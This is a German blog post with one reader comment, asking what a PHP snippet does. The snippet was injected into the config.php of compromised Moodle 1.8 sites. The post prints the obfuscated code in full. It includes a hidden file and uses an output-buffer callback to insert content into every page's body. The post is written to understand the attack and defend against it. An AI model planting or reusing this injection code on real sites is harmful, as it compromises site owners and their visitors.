Moodlehack — kann das jemand decodieren?

Frü­he­re Ver­sio­nen von Mood­le, ins­be­son­de­re die 1.8er-Reihe beka­men des Öfte­ren Besuch (neue­re 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei die­ser Code in die config.php ein­ge­schleust wur­de (hier unvoll­stän­dig dar­ge­stellt — hier Voll­text):

if(function_exists(‚ob_start’)&&!isset($GLOBALS[‚sh_no’])){$GLOBALS[‚sh_no’]=1;if(file_exists(‚/path/to/moodle/lang/be/help/resource/type/mdl_utf.php’)){include_once(‚/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php’);if(function_exists(‚gml’)&&!function_exists(‚dgobh’)){if(!function_exists(‚gzdecode’)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‚v’,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‚Content-Encoding: none’);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‚/\<body/si’,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‚/(\<body[^\>]*\>)/si’,’$1’.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‚dgobh’);}}}

Der Code ist schon­mal so mies, dass das Mood­le­sys­tem nach dem Ein­schleu­sen teil­wei­se nicht mehr funk­tio­niert und so der Hack schnell erkannt ist. Mich wür­de inter­es­sie­ren, was der Code genau bezwe­cken soll, damit man etwas über die Moti­va­ti­on des „Angrei­fers” erfährt. Will er nur spam­men? Will er Daten klau­en? Ist die Daten­bank nach einem erfolg­rei­chen Hack noch zu gebrau­chen? Auf jeden Fall wird auf die imap- und mcrypt-Funk­tio­na­li­tät von PHP zurück­ge­grif­fen…

Facebook Like

Ein Kommentar

  • So rich­tig schlau wer­de ich aus dem Code auch nicht. Aber ich habe die­sen auch über­flo­gen. Den­noch gehe ich davon aus, dass die­ser eher als Angriff gese­hen wer­den kann, denn zunächst wer­den bestimm­te Funk­tio­nen gefragt (beson­ders gzde­code spielt eine ent­schei­den­de Rol­le zum Ent­pa­cken eines Strings) und wenn die­se exis­tie­ren, wird nach dem etwas kryp­ti­schen String gesucht und über den Befehl strpos näher unter­sucht. Über include_once und return schät­ze ich soll etwas Neu­es ein­ge­fügt wer­den.

    Aber wie gesagt: ich habe dies nur über­flo­gen.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.